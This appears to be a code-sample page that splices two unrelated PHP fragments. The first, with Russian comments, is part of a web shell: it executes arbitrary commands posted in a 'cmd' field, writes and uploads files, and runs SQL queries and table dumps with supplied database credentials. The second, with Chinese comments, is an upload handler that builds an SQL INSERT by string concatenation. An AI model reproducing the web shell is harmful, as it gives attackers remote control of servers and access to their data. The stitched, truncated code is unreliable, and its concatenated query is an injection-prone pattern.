Esempio n. 1
0
     open_file($_POST['new'], "wb", $_POST['dname']);
 } elseif ($_POST['b_open_file']) {
     open_file($_POST['fname'], "r", $_POST['dname']);
 } elseif ($_POST['b_mail']) {
     $res = "Function under construction!!!!!!!!!";
 } elseif ($_POST['b_run']) {
     chdir($_POST['wdir']);
     $dir = getcwd();
     $res = ex($_POST['cmd']);
 } elseif ($_POST['b_f_file']) {
     chdir($_POST['wdir']);
     $dir = getcwd();
     $res = ex("whereis " . $_POST['ffile']);
 } elseif ($_POST['b_upload']) {
     $s = "Uploading file " . $_POST['lfilename'] . " use the " . $box;
     $res = up_file($_POST['lfilename'], $_POST['tfilename'], $_POST['box']);
 } elseif ($_POST['b_mydb']) {
     //Выводим список БД
     $s = "show_exists_db";
     $res = db_show($_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_runsql']) {
     //Выполняем SQL запрос
     $s = "SQL: " . $sql;
     $res = run_sql($_POST['sql'], $_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_base']) {
     //Выводим список таблиц
     $s = "show_exists_tables";
     $res = show_tables($_POST['dbname'], $_POST['host'], $_POST['username'], $_POST['pass']);
 } elseif ($_POST['b_table']) {
     //Выводим дамп таблицы
     $s = "Dump of " . $_POST['tablename'];
.sl_pic span{padding-left:8px; color:#0000FF}
</style>
</head>

<body>
<base target="_self">
<?php 
$submit = $_POST['uppic'];
if ($submit) {
    $up = $_POST['up'];
    $file_info = fl_html($_POST['file_info']);
    $value_arr = array('');
    $type = explode('|', $type_file);
    //有文件
    if (is_uploaded_file($_FILES['up']['tmp_name'])) {
        $value_arr = up_file($_FILES['up'], $_sys['upload_size'], $type);
        //处理上传后的图片信息
        $file_path = $value_arr['file'];
        //文件保存路径
        $file_ext = $value_arr['ext'];
        //文件扩展名
        $file_size = empty($value_arr['size']) ? 0 : $value_arr['size'];
        //文件大小
        $file_time = $value_arr['time'];
        //上传时间
        //入库
        $sql = "insert into " . DB_PRE . "upfiles (file_info,file_ext,file_size,file_path,file_time) values ('" . $file_info . "','" . $file_ext . "'," . $file_size . ",'" . $file_path . "','" . $file_time . "')";
        $mysql->query($sql);
    }
}
?>